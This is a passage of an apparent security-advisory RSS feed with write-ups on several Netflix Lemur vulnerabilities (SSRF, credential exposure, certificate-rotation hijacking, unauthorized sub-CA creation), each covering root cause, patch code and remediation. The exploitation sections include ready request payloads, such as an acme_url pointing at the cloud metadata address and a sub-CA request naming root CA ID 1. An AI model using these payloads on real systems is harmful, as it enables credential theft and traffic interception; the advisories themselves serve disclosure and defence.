  B --&gt;|&quot;Executes OCSP / CRL Fetch&quot;| D[&quot;Internal Service (IMDS / localhost)&quot;]
```

{/* icon: shield */}
{/* type: mitigation */}
## Technical Impact and Remediation Guidance

The concrete impact of this vulnerability is a complete bypass of SSRF protections on the host server. An attacker can map internal ports, communicate with backend VPC databases, or query orchestrators. In AWS environments, this exposure can lead to the retrieval of IAM credentials, configuration parameters, and access keys from the Instance Metadata Service (IMDSv1).

To address this vulnerability, administrators must upgrade Netflix Lemur instances to version 1.9.3 or later. This version implements resolution pinning and disables HTTP redirects on CRL validation paths.

If immediate updates are not feasible, the following workarounds should be applied:
1. Restrict administrative access to the `POST /api/1/certificates/upload` endpoint using role-based access controls.
2. Implement outbound firewall rules (egress filtering) at the host or VPC network level to prevent the Lemur application process from communicating with private subnets, including the link-local metadata address `169.254.169.254/32`.
3. Ensure AWS IMDSv2 is enforced with a hop limit of 1 to prevent metadata harvesting from containerized environments or reverse-proxy setups.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-71303: Server-Side Request Forgery Bypass in Netflix Lemur Authority Updates]]></title>
            <description><![CDATA[An incomplete patch in Netflix Lemur allows users with authority roles to bypass host allowlists. By submitting a crafted PUT request, attackers can overwrite the ACME directory URL with internal IP addresses, causing the Lemur backend to perform unauthorized outbound connections.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-71303</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-71303</guid>
            <category><![CDATA[Netflix Lemur certificate management environments deployed prior to version 1.9.3]]></category>
            <category><![CDATA[none]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 18 Aug 2026 20:51:21 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-71303/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

Netflix Lemur functions as a TLS certificate orchestration framework designed to automate certificate generation and deployment. Within Lemur, certificate authorities are created and configured to interact with Automated Certificate Management Environment (ACME) endpoints. The platform relies on configuration directives to control external network operations, defining a strict allowlist of approved ACME directory destinations.

During previous security audits, CVE-2026-55166 was discovered and partially remediated in version 1.9.2. The initial fix implemented a validation routine that checked user-supplied ACME directory URLs against the `ACME_DIRECTORY_HOST_ALLOWLIST` configuration block. However, this defense-in-depth measure was only integrated into the creation workflow of new authorities, leaving the modification endpoints exposed.

This gap results in a Server-Side Request Forgery (SSRF) vulnerability designated as CVE-2026-71303. An authenticated attacker who holds authority modification privileges can manipulate existing parameters to point to internal services. Consequently, the Lemur backend can be coerced into connecting to restricted network entities, such as the cloud Instance Metadata Service.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The fundamental vulnerability lies in the logical separation between the creation and modification codepaths inside Lemur&apos;s authority management engine. When an administrator creates an authority, Lemur invokes the `create_authority` function. This function references a helper function named `_validate_acme_url` within the ACME plugin module to parse and verify the target hostname.

In contrast, the authority modification process utilizes a distinct service function inside `lemur/authorities/service.py`. When an authorized user issues an HTTP `PUT` request to `/api/1/authorities/&lt;id&gt;`, the request parameters are routed to the service&apos;s `update()` method. This method accepts the payload parameters, including the options dictionary block, and updates the database records directly.

Prior to version 1.9.3, the `update()` service method did not apply the validation checks built for the creation workflow. As a result, any modified ACME directory parameters bypass validation check cycles. The values are committed to the application database and subsequently read during normal cryptographic operations, triggering outbound calls to unauthorized destinations.

{/* icon: code */}
{/* type: deep-dive */}
## Code-Level Technical Review

Analyzing the code diff reveals how the validation functions were reorganized and integrated into the update routine. In the vulnerable implementation, the validation function was defined as a private method within the ACME plugin module. 

```python
# Vulnerable private method in lemur/plugins/lemur_acme/plugin.py
-def _validate_acme_url(url):
+def validate_acme_url(url):
     &quot;&quot;&quot;Reject acme_url values that are not in the configured allowlist.
 
     Called at authority creation time only — existing authorities in the DB
```

By renaming `_validate_acme_url` to the public `validate_acme_url`, the development team made the verification logic accessible to external service components. Within `lemur/authorities/service.py`, the update function was subsequently refactored to catch unauthorized parameters on update:

```python
# Patched implementation in lemur/authorities/service.py
 def update(authority_id, description, owner, active, roles, options: Optional[str] = None):
     authority.description = description
     authority.owner = owner
     if options:
+        # acme_url can be changed here too, so it must be re-validated against the
+        # allowlist the same way it is at authority creation time (GHSA-v5rc-cpwc-cfpr)
+        from lemur.plugins.lemur_acme.plugin import validate_acme_url
+
+        for option in json.loads(options):
+            if option.get(&quot;name&quot;) == &quot;acme_url&quot;:
+                validate_acme_url(option.get(&quot;value&quot;, &quot;&quot;))
         authority.options = options
```

This ensures that whenever the update service method processes an options block, it deserializes the configuration list, searches for any parameter labeled `acme_url`, and passes its associated value to `validate_acme_url`. If the value fails the hostname validation, the process throws an exception, and the database transaction is aborted.

{/* icon: terminal */}
{/* type: exploit */}
## Attack Vector &amp; Exploitation Flow

To exploit this vulnerability, an attacker must have an active user account associated with a role that is authorized to edit authority configurations. This represents a low-privilege requirement within the application&apos;s internal access model. The attack is executed over HTTP through a standard API interaction.

The attacker first identifies an existing ACME authority identifier and targets the update API endpoint: `PUT /api/1/authorities/&lt;id&gt;`. The payload consists of an options array designed to override the ACME directory URL. This parameter is changed from a standard certificate authority URL to an internal network address.

```json
[
  {
    &quot;name&quot;: &quot;acme_url&quot;,
    &quot;value&quot;: &quot;http://169.254.169.254/latest/meta-data/&quot;
  }
]
```

Once the database record is updated, the attacker initiates a certificate creation flow that utilizes this authority. The backend schedules the task and attempts to fetch ACME directory resources from the newly configured URL. The Lemur server makes a `GET` request to the local link-local address, retrieving internal cloud details or API resources and forwarding them through system responses.

{/* icon: lock */}
{/* type: deep-dive */}
## Impact Assessment

The impact of this SSRF is evaluated with a CVSS base score of 7.7. The vulnerability receives a changed scope (S:C) designation because the security posture of resources external to Lemur is altered. Specifically, resources isolated within the internal cloud environment are exposed to requests initiated by the application.

In standard cloud architectures, instances running Lemur may have access to the AWS Instance Metadata Service (IMDS). If IMDSv1 is enabled or if IMDSv2 hop limits are misconfigured, requests targeting `169.254.169.254` can leak temporary security credentials assigned to the host. These credentials can be harvested to gain lateral access to other cloud services.

Additionally, the vulnerability exposes internal microservices, configuration servers, and database APIs that sit behind host perimeter firewalls. Because the outbound connection originates from Lemur&apos;s trusted host IP address, internal firewalls will permit the connections, bypassing network boundary protections.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation and Fix Completeness

The primary remediation strategy is upgrading to Netflix Lemur version 1.9.3. This version applies correct verification checks to both create and update operations, eliminating the configuration validation bypass. If patching cannot be performed immediately, temporary operational controls should be established.

Administrators should configure host firewalls on the Lemur application servers to deny outbound connections to internal private IP spaces, specifically RFC 1918 subnets and the link-local metadata range. For environments deployed on Amazon Web Services, enforcing IMDSv2 with a maximum hop limit of 1 prevents unauthorized container or runtime interactions from retrieving host credentials.

While the code modifications in 1.9.3 address the direct route bypass, security teams must note that the validation continues to rely on domain-level checks. If the downstream HTTP library handles URL parsing differently from the Python standard library, parser differentials may allow bypasses. DNS rebinding also remains a theoretical vector if hostnames are verified at resolution time but resolved to local IPs during operational execution.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-71307: Plaintext Credential Exposure in Netflix Lemur Destinations API]]></title>
            <description><![CDATA[Low-privilege users can query Lemur's destination API endpoints to harvest plaintext SFTP passwords and SSH key passphrases due to missing endpoint authorization and lack of output serialization filters.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-71307</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-71307</guid>
            <category><![CDATA[Netflix Lemur]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Amit Schendel]]></dc:creator>
            <pubDate>Tue, 18 Aug 2026 20:51:26 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-71307/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

Netflix Lemur is an orchestration engine designed to manage the creation, renewal, and deployment of TLS certificates. To facilitate certificate installation, Lemur relies on destination plugins that automatically push certificates and private keys to target hosting systems. These destinations typically include load balancers, web servers, and remote file systems connected via secure channels.

Prior to version 1.9.3, Lemur suffered from an authorization and sanitization flaw within its destinations resource. The system enforced administrative access controls on state-changing operations, such as creating, updating, or deleting a destination. However, the queries retrieving destination details relied solely on basic user authentication. This lack of restriction meant that any user with a standard, read-only session could access the registration configurations of external deployment endpoints.

Additionally, the serialization logic used to build API responses did not filter the properties passed to clients. For plugins that store credentials locally to authenticate to destination systems, such as the SFTP destination plugin, these configuration parameters were exposed in plaintext. Consequently, low-privilege actors could extract target host passwords and SSH key passphrases from standard API responses.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The vulnerability is a combination of Missing Authorization (CWE-862) and Cleartext Storage of Sensitive Information (CWE-312). The access control gap lies in `lemur/destinations/views.py`. While POST, PUT, and DELETE handlers for the destinations resource were restricted using decorators that require admin permissions, the GET handlers lacked this enforcement. Standard authenticated sessions, such as those assigned to read-only auditors, were allowed to query the endpoints directly.

The endpoints affected by this authorization gap are:
* `GET /api/1/destinations` (handled by `DestinationsList.get`)
* `GET /api/1/destinations/&lt;destination_id&gt;` (handled by `Destinations.get`)
* `GET /api/1/certificates/&lt;certificate_id&gt;/destinations` (handled by `CertificateDestinations.get`)

The serialization gap resides in `lemur/destinations/schemas.py`, where Lemur utilizes Marshmallow schemas to validate and serialize data. The `DestinationOutputSchema` was designed to serialize the data models directly. When building the output, the post-dump hook `fill_object` would copy options into the `pluginOptions` dictionary without performing inspection or redaction. If a plugin registered an authentication credential within its options, that credential was passed directly into the serialized JSON payload.

Finally, the SFTP destination plugin (`SFTPDestinationPlugin` in `lemur/plugins/lemur_sftp/plugin.py`) defined option parameters such as `password` and `privateKeyPass` without marking them as sensitive. Because the core serialization architecture had no mechanism to recognize these fields as confidential, it delivered the plaintext credentials to any authorized API reader.

{/* icon: code */}
{/* type: deep-dive */}
## Code-Level Analysis and Patch Review

To resolve the vulnerability, the development team modified both the endpoint access controls and the serialization schemas. In `lemur/destinations/views.py`, the `@admin_permission.require(http_exception=403)` decorator was added to all GET methods. This establishes a uniform permission model, ensuring that only administrators can read the destination definitions.

In `lemur/destinations/schemas.py`, a redaction block was added to the `fill_object` post-dump processor of the `DestinationOutputSchema`. This block iterates over the options and sets any option marked as sensitive to `None` prior to output generation. 

```python
# lemur/destinations/schemas.py
class DestinationOutputSchema(LemurOutputSchema):
    @post_dump
    def fill_object(self, data):
        if data:
            # Fixed logic: Redact option values marked as sensitive before serialization
            for option in data.get(&quot;options&quot;, []):
                if option.get(&quot;sensitive&quot;):
                    option[&quot;value&quot;] = None
            data[&quot;plugin&quot;][&quot;pluginOptions&quot;] = data[&quot;options&quot;]
            for option in data[&quot;plugin&quot;][&quot;pluginOptions&quot;]:
                if &quot;export-plugin&quot; in option[&quot;type&quot;]:
                    pass
```

The SFTP destination plugin options were also updated to specify the `sensitive` property:

```python
# lemur/plugins/lemur_sftp/plugin.py
class SFTPDestinationPlugin(DestinationPlugin):
    options = [
        # ... other options ...
        {
            &quot;name&quot;: &quot;password&quot;,
            &quot;type&quot;: &quot;str&quot;,
            &quot;required&quot;: False,
            &quot;helpMessage&quot;: &quot;The SFTP password (optional when the private key is used).&quot;,
            &quot;default&quot;: None,
            &quot;sensitive&quot;: True,
        },
        {
            &quot;name&quot;: &quot;privateKeyPass&quot;,
            &quot;type&quot;: &quot;str&quot;,
            &quot;required&quot;: False,
            &quot;helpMessage&quot;: &quot;The password for the encrypted RSA private key (optional).&quot;,
            &quot;default&quot;: None,
            &quot;sensitive&quot;: True,
        },
    ]
```

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology

Exploitation of this vulnerability requires an authenticated session with low-privilege access, such as a read-only role or a compromise of a standard API key. The attacker can identify the network coordinates of internal deployment destinations by performing a standard query against the destination API endpoints. Because the GET handlers did not require administrative privileges, the server processed the request and executed the vulnerable serialization schema.

An attacker would perform the following steps:
1. Authenticate to the Lemur instance as a standard user.
2. Query the destinations list:
   ```http
   GET /api/1/destinations HTTP/1.1
   Host: lemur.internal
   Authorization: Bearer &lt;low_privilege_token&gt;
   ```
3. Extract sensitive parameters from the JSON response payload. 

An example of the vulnerable JSON output structure showing the exposed credentials before the patch was applied:

```json
{
  &quot;id&quot;: 12,
  &quot;label&quot;: &quot;prod-sftp-server&quot;,
  &quot;options&quot;: [
    {&quot;name&quot;: &quot;host&quot;, &quot;type&quot;: &quot;str&quot;, &quot;value&quot;: &quot;10.10.42.15&quot;},
    {&quot;name&quot;: &quot;user&quot;, &quot;type&quot;: &quot;str&quot;, &quot;value&quot;: &quot;cert-deployer&quot;},
    {&quot;name&quot;: &quot;password&quot;, &quot;type&quot;: &quot;str&quot;, &quot;value&quot;: &quot;UnprotectedPassword123&quot;, &quot;sensitive&quot;: true}
  ]
}
```

```mermaid
graph LR
  Attacker[&quot;Attacker (Low Privilege)&quot;] --&gt;|1. GET /api/1/destinations| Lemur[&quot;Lemur API (Unpatched)&quot;]
  Lemur --&gt;|2. Serializes Options Verbatim| Database[&quot;Database&quot;]
  Database --&gt;|3. Plaintext Options| Lemur
  Lemur --&gt;|4. HTTP 200 with Plaintext Password| Attacker
  Attacker --&gt;|5. SSH Connection with Harvested Credentials| RemoteServer[&quot;Remote SFTP Server&quot;]
```

{/* icon: skull */}
{/* type: deep-dive */}
## Impact Assessment

The impact of this vulnerability is significant because Lemur is designed to operate inside a secure network boundary to manage sensitive cryptographic keys. By obtaining the credentials stored within the destination options, an attacker can bypass Lemur&apos;s access controls completely. The attacker can use the harvested passwords or key passphrases to establish out-of-band connections directly to the deployment endpoints.

If the deployment endpoints are SFTP servers, the attacker could read or modify sensitive files, including private keys and certificates stored outside Lemur&apos;s control. In environments where the same credentials are reused across multiple administrative interfaces, the impact could extend to broader network lateral movement. 

The CVSS v3.1 score is calculated as 7.7. The Scope metric is set to Changed (S:C) because compromising the destination credentials allows the attacker to access systems outside of Lemur&apos;s application boundaries. Confidentiality is rated High (C:H) due to the direct extraction of raw authentication parameters.

{/* icon: shield */}
{/* type: mitigation */}
## Remediation and Mitigation

The primary remediation strategy is upgrading Netflix Lemur to version 1.9.3 or higher. This update restricts all GET operations on the destinations endpoint to administrators and implements the schema redaction logic. If an immediate upgrade is not possible, security teams must deploy network-level mitigations or policy changes.

Workarounds include implementing strict URL routing rules at the reverse proxy or Web Application Firewall (WAF) layer. Organizations should block GET requests to `/api/1/destinations` and `/api/1/certificates/*/destinations` originating from any user agent or IP address that does not belong to a designated administrative administrator.

Additionally, organizations using custom or proprietary destination plugins must audit their codebase. Any custom options containing API tokens, passwords, or cryptographic key passphrases must have the `&quot;sensitive&quot;: True` property added to their configuration schemas to ensure they are handled properly by the new serialization redaction engine.</content:encoded>
            <dc:creator>Amit Schendel</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-71308: Missing Authorization and Lifecycle Hijacking in Netflix Lemur]]></title>
            <description><![CDATA[Missing authorization in Netflix Lemur's certificate replacement logic allows standard users to hijack TLS certificate rotation and silence expiration alerts.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-71308</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-71308</guid>
            <category><![CDATA[Netflix Lemur]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Alon Barad]]></dc:creator>
            <pubDate>Tue, 18 Aug 2026 20:51:33 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-71308/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: info */}
{/* type: overview */}
## Vulnerability Overview

Netflix Lemur is an enterprise-grade certificate management framework designed to orchestrate the lifecycle of Transport Layer Security (TLS) and Secure Sockets Layer (SSL) certificates. It acts as a central repository and broker, coordinating certificate generation, renewal, and deployment across diverse infrastructure providers, including cloud platforms like Amazon Web Services (AWS) and container orchestration engines such as Kubernetes.

Because Lemur possesses administrative privileges to integrate with external load balancers, content delivery networks (CDNs), and keystores, it represents a high-value target for security architecture. Any vulnerability within its API endpoints can expose wide-ranging downstream infrastructure to unauthorized modifications.

CVE-2026-71308 describes a severe missing authorization flaw in Lemur&apos;s certificate-associated endpoints. In versions from 0.5.0 up to (but excluding) 1.9.3, the system fails to validate whether a user requesting a certificate creation, upload, or modification has permissions to modify certificates referenced in the replaces or replacements arrays. This lack of authorization allows authenticated users to hijack the rotation and notification lifecycles of any arbitrary certificate managed within the system.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The core of the vulnerability lies in Lemur&apos;s processing of relationship models during deserialization. When a certificate is uploaded, created, or updated via API requests, the input is processed by Lemur&apos;s marshmallow schemas, specifically the schemas defining certificate associations. If the payload contains the replaces or replacements parameters, Lemur uses a generic utility called fetch_objects to query and instantiate corresponding Certificate SQLAlchemy database records.

Historically, Lemur did not verify if the requesting user owned, created, or possessed the necessary role permissions (CertificatePermission) for the target certificates resolved via fetch_objects. This omission allowed any authenticated, non-read-only user to link their newly created certificate to an arbitrary, pre-existing certificate in the system.

Once the relationship is established, SQLAlchemy triggers an append event listener bound to the Certificate.replaces relationship. This database event automatically executes several mutations on the target certificate: it toggles the notify parameter to False to silence upcoming expiration alerts and marks the certificate as replaced. This prevents administrators from receiving warnings when the victim certificate is near expiration, while preparing the platform to deploy the attacker-controlled certificate in its place during subsequent scheduled background rotation tasks.

```mermaid
graph LR
  A[&quot;Attacker Payload&quot;] --&gt;|&quot;replaces: [Victim ID]&quot;| B[&quot;POST/PUT API Endpoint&quot;]
  B --&gt;|&quot;No Authorization Check&quot;| C[&quot;marshmallow Schemas&quot;]
  C --&gt;|&quot;fetch_objects()&quot;| D[&quot;Target Certificate Record&quot;]
  D --&gt;|&quot;SQLAlchemy Append Event&quot;| E[&quot;Victim Certificate mutated&quot;]
  E --&gt;|&quot;notify = False&quot;| F[&quot;Notifications Silenced&quot;]
  E --&gt;|&quot;Rotation Target Redirected&quot;| G[&quot;Traffic Hijack on Next Cron&quot;]
```

{/* icon: code */}
{/* type: deep-dive */}
## Code Analysis

The resolution to CVE-2026-71308 is implemented in commit 286874535160952143b0afe2d356642669f9d4c6. The patch introduces an authorization helper, authorize_certificate_replacement, within lemur/certificates/service.py and integrates it into the relevant endpoints in lemur/certificates/views.py.

Before the patch, endpoints like /api/1/certificates/upload did not evaluate permissions for the certificate IDs passed in the replaces list. The following diff highlights the introduction of this authorization check:

```diff
# lemur/certificates/service.py
+def authorize_certificate_replacement(certificates, current_user):
+    &quot;&quot;&quot;
+    Ensures the current user owns, holds a role on, or is the creator of every certificate
+    being marked as replaced. Marking a certificate as replaced silences its expiration
+    notifications and retargets its rotation, so it requires the same authorization as
+    revoking or editing that certificate directly.
+    &quot;&quot;&quot;
+    for cert in certificates:
+        if current_user == cert.user:
+            continue
+
+        owner_role = role_service.get_by_name(cert.owner)
+        permission = CertificatePermission(owner_role, [r.name for r in cert.roles])
+
+        if not permission.can():
+            raise UnauthorizedError(
+                f&quot;You are not authorized to replace certificate: {cert.name}&quot;
+            )
```

The check verifies whether the current user is the owner, or if their roles match the certificate&apos;s permission policies. The view handlers in lemur/certificates/views.py are patched to execute this function before saving state changes:

```diff
# lemur/certificates/views.py
@@ -651,6 +653,12 @@ def post(self, data=None):
         if not StrictRolePermission().can():
             return dict(message=&quot;You are not authorized to upload a certificate.&quot;), 403
 
+        if data.get(&quot;replaces&quot;):
+            try:
+                service.authorize_certificate_replacement(data[&quot;replaces&quot;], g.current_user)
+            except UnauthorizedError as e:
+                return dict(message=str(e)), 403
```

This ensures that if the input payload attempts to associate a new certificate as a replacement for an existing one, the operation fails immediately with a 403 Forbidden unless the user holds adequate privileges over the target certificate.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation &amp; Proof-of-Concept Analysis

Exploitation of CVE-2026-71308 requires an attacker to possess network access to the Lemur instance and valid credentials belonging to any non-read-only role. The attack proceeds through discrete phases, beginning with active reconnaissance of vulnerable targets via the Lemur API.

```mermaid
sequenceDiagram
  autonumber
  Attacker-&gt;&gt;Lemur API: GET /api/1/certificates (Enumerate targets)
  Lemur API--&gt;&gt;Attacker: Returns Certificate ID (e.g., 9999)
  Attacker-&gt;&gt;Lemur API: POST /api/1/certificates/upload (Include replaces: [9999])
  Lemur API--&gt;&gt;Attacker: 201 Created (Vulnerability triggered)
  Note over Lemur API, Database: SQLAlchemy Hook executes:
  Note over Lemur API, Database: Sets notify=False on ID 9999
  Note over Lemur API, Database: Sets replaces relation to attacker cert
  Celery Runner-&gt;&gt;Target Infrastructure: Deploy attacker cert (Hijack traffic)
```

First, the attacker enumerates active certificates. Although default read permissions might restrict write access, standard users typically have read access to metadata. The attacker identifies the ID of a target certificate (e.g., 9999).

Next, the attacker constructs a payload representing a new certificate. This certificate may contain an attacker-controlled private key. The attacker calls the upload or creation endpoint, appending the targeted certificate ID into the replaces field.

Once submitted, the database updates immediately. The original certificate is flagged as replaced, its notifications are silenced, and when Lemur&apos;s cron-based automation cycles execute certificate_rotate, it automatically pushes the attacker&apos;s newly associated certificate to the integrated AWS ELBs, CloudFront distributions, or Kubernetes secrets previously tied to the original certificate. This results in direct traffic interception.

{/* icon: shield */}
{/* type: deep-dive */}
## Impact Assessment

The security impact of CVE-2026-71308 is classified as High, with a CVSS v3.1 base score of 8.1. The attack complexity is Low since exploitation does not depend on complex timing or environment states. Because Lemur is designed to automate certificate rotations to critical entry points, the downstream consequences are far-reaching.

By successfully mapping a malicious or unapproved certificate to an active deployment target, an attacker achieves complete control over TLS endpoints. This allows the interception and decryption of encrypted user traffic (Man-in-the-Middle), leading to the exposure of credentials, session tokens, and sensitive data.

Furthermore, silencing expiration notifications for critical endpoints compromises availability. If the original certificate is replaced by an invalid or unapproved certificate, production services may experience complete denial of service when client browsers or systems reject the untrusted or misconfigured certificate. The lack of auditing before version 1.9.3 makes identifying such modifications difficult without manual database verification.

{/* icon: lock */}
{/* type: mitigation */}
## Remediation &amp; Detection Guidance

The definitive remediation for CVE-2026-71308 is updating Netflix Lemur to version 1.9.3 or later. This version enforces complete role-based and ownership-based validation during certificate replacement processing, terminating unauthorized attempts prior to database persistence.

For environments unable to deploy the patch immediately, the following temporary mitigations are recommended:

1. Restrict API access to non-administrative users. Revoke write permissions (POST, PUT) from user roles that do not strictly require certificate issuance or upload capabilities.

2. Monitor server logs for incoming requests to /api/1/certificates/upload or /api/1/certificates/&lt;id&gt; containing the replaces JSON field. Flag and investigate any requests where the submitting identity does not match the recorded owner of the referenced certificate.

3. Perform regular database integrity checks. Administrators can execute queries to detect discrepancies where the creator of a replacing certificate differs from the owner of the replaced certificate, indicating a potential compromise.</content:encoded>
            <dc:creator>Alon Barad</dc:creator>
        </item>
        <item>
            <title><![CDATA[CVE-2026-71317: Missing Authorization in Netflix Lemur Allows Unauthorized Subordinate CA Creation]]></title>
            <description><![CDATA[An authorization bypass in Netflix Lemur (< 1.9.3) allows low-privileged users to create unauthorized subordinate CAs chained to any trusted root CA, bypassing normal certificate policies and exposing the PKI private keys.]]></description>
            <link>https://cvereports.com/reports/CVE-2026-71317</link>
            <guid isPermaLink="false">https://cvereports.com/reports/CVE-2026-71317</guid>
            <category><![CDATA[Netflix Lemur versions prior to 1.9.3]]></category>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerability]]></category>
            <dc:creator><![CDATA[Alon Barad]]></dc:creator>
            <pubDate>Tue, 18 Aug 2026 20:51:37 GMT</pubDate>
            <enclosure url="https://cvereports.com/reports/CVE-2026-71317/opengraph-image" length="0" type="image/png"/>
            <content:encoded>{/* icon: search */}
{/* type: overview */}
## Vulnerability Overview

Netflix Lemur functions as an orchestration and management engine for Public Key Infrastructure (PKI) certificates across enterprise networks. To simplify administrative operations and support developer workflows, Lemur includes a self-service model that allows non-privileged users to request and create new Certificate Authorities (CAs). This capability is governed by the `ADMIN_ONLY_AUTHORITY_CREATION` configuration setting, which, when configured to `False`, permits any standard authenticated user to register and generate CA objects.

Under normal operations, a subordinate CA (sub-CA) must be chained to an existing root or intermediate CA. When creating a sub-CA, the user specifies a target parent authority from Lemur&apos;s inventory. The API endpoint handling these creation requests is located at `POST /api/1/authorities`.

The vulnerability, identified as CVE-2026-71317 (GHSA-g7p5-89mh-248h), resides within this endpoint. The endpoint fails to verify if the requesting authenticated user has been granted appropriate operational or administrative rights (`AuthorityPermission`) over the requested parent CA. Consequently, standard authenticated accounts can chain newly created sub-CAs to highly sensitive root CAs, bypassing the system&apos;s intended logical isolation and access control policies.

{/* icon: bug */}
{/* type: deep-dive */}
## Root Cause Analysis

The root cause of CVE-2026-71317 is a Broken Object-Level Authorization (BOLA) flaw in the endpoint controller within `lemur/authorities/views.py`. When a POST request is processed by the `AuthoritiesList` resource, Lemur validates global privileges using `AuthorityCreatorPermission` and `StrictRolePermission`. These checks ensure that the user is permitted to create CA objects in general, which is satisfied by any authenticated user if self-service creation is enabled.

To parse the incoming JSON payload, the application employs Marshmallow serialization schemas. The `parent` attribute of the payload is resolved using the `AssociatedAuthoritySchema`. This schema executes database lookups (e.g., `fetch_objects`) to retrieve the underlying database object for the parent authority based on user-provided identifier values.

Crucially, prior to version 1.9.3, once the parent object was resolved, the controller failed to execute an object-level permission check. The system assumed that the successful retrieval of the parent CA meant the operation could proceed. It did not evaluate whether the user belonged to the administrative roles linked to that specific parent CA resource.

After resolving the parent object, the application hands control over to the configured signing plugin (typically `cryptography-issuer`). The cryptographic engine retrieves the parent authority&apos;s stored private key material (`authority_certificate.private_key`) and uses it to sign the newly requested subordinate CA certificate. The lack of validation on the parent CA allows standard users to coerce the backend into performing administrative signing operations using restricted cryptographic keys.

{/* icon: code */}
{/* type: deep-dive */}
## Code-Level Analysis and Patch Verification

In vulnerable versions of Lemur (prior to 1.9.3), the `post` method of the `AuthoritiesList` class inside `lemur/authorities/views.py` only validated global creator permissions before invoking the CA generation workflow. The vulnerable logic did not examine the relationship between the active user and the retrieved parent CA.

```python
# Vulnerable implementation in lemur/authorities/views.py
def post(self, data=None):
    permission = AuthorityCreatorPermission()
    if not permission.can() or not StrictRolePermission().can():
        return dict(message=&quot;You are not allowed to create a new authority.&quot;), 403

    # Vulnerability: The parent authority is resolved inside `data` (via schemas)
    # but no authority-specific permissions are evaluated before creation
    new_authority = manager.create(**data)
```

The official fix in version 1.9.3 (commit `8669011203ca3dd89d9e39bab9ef6850eca723f9`) resolves the issue by intercepting the parsed `parent` CA within the `post` method and verifying the caller&apos;s rights against the parent&apos;s assigned roles.

```python
# Patched implementation in lemur/authorities/views.py
def post(self, data=None):
    permission = AuthorityCreatorPermission()
    if not permission.can() or not StrictRolePermission().can():
        return dict(message=&quot;You are not allowed to create a new authority.&quot;), 403

    # Patched: Retrieve and validate parent authority permissions
    parent = data.get(&quot;parent&quot;)
    if parent:
        parent_roles = [x.name for x in parent.roles]
        if not AuthorityPermission(parent.id, parent_roles).can():
            return dict(message=&quot;You are not authorized to use the specified parent authority.&quot;), 403

    if not validators.is_valid_owner(data[&quot;owner&quot;]):
        return dict(message=f&quot;Invalid owner: check if {data[&apos;owner&apos;]} is a valid group email.&quot;), 412
```

This patch successfully mitigates the vulnerability by ensuring that every sub-CA creation request undergoes a secondary, object-specific check. If the user does not possess administrative or operational roles associated with the parent CA, the controller terminates the execution path and returns an HTTP 403 Forbidden status code, blocking the cryptographic issuer from signing the certificate.

{/* icon: terminal */}
{/* type: exploit */}
## Exploitation Methodology and Attack Vector

To exploit this vulnerability, an attacker must have valid, non-privileged authentication credentials to a Lemur instance that has self-service CA creation enabled (`ADMIN_ONLY_AUTHORITY_CREATION = False`). The attacker begins by identifying or predicting the ID of an internal Root or parent CA managed by the target Lemur instance (such as the default root authority, which often holds an ID of `1`).

The attacker then sends a crafted JSON payload via an HTTP POST request to `/api/1/authorities` using their active authentication session token. The payload explicitly specifies the targeted restricted parent CA ID within the `parent` object structure.

```json
{
  &quot;name&quot;: &quot;attacker-compromised-subca&quot;,
  &quot;owner&quot;: &quot;attacker@example.com&quot;,
  &quot;common_name&quot;: &quot;malicious-subca.corp.internal&quot;,
  &quot;type&quot;: &quot;subca&quot;,
  &quot;parent&quot;: {
    &quot;id&quot;: 1
  },
  &quot;plugin&quot;: {
    &quot;slug&quot;: &quot;cryptography-issuer&quot;
  },
  &quot;validityStart&quot;: &quot;2026-08-18T00:00:00.000Z&quot;,
  &quot;validityEnd&quot;: &quot;2036-08-18T00:00:00.000Z&quot;
}
```

On vulnerable versions, Lemur authorizes the global request, fetches the parent CA with ID `1` from the database, and processes the signing operation using the parent&apos;s private key. The response returns the cryptographic parameters of the newly minted subordinate CA, exposing its newly generated private key back to the unauthorized attacker. The attacker can then export this private key to sign arbitrary certificates offline, bypassing all internal controls and logging mechanisms.

{/* icon: lock */}
{/* type: deep-dive */}
## Security Impact and Criticality Assessment

The security impact of CVE-2026-71317 is high because it compromises the root of trust within the target organization&apos;s PKI. An attacker who successfully generates an unauthorized subordinate CA gains the ability to sign valid, fully trusted SSL/TLS leaf certificates for any domain, service, or identity within the corporate namespace.

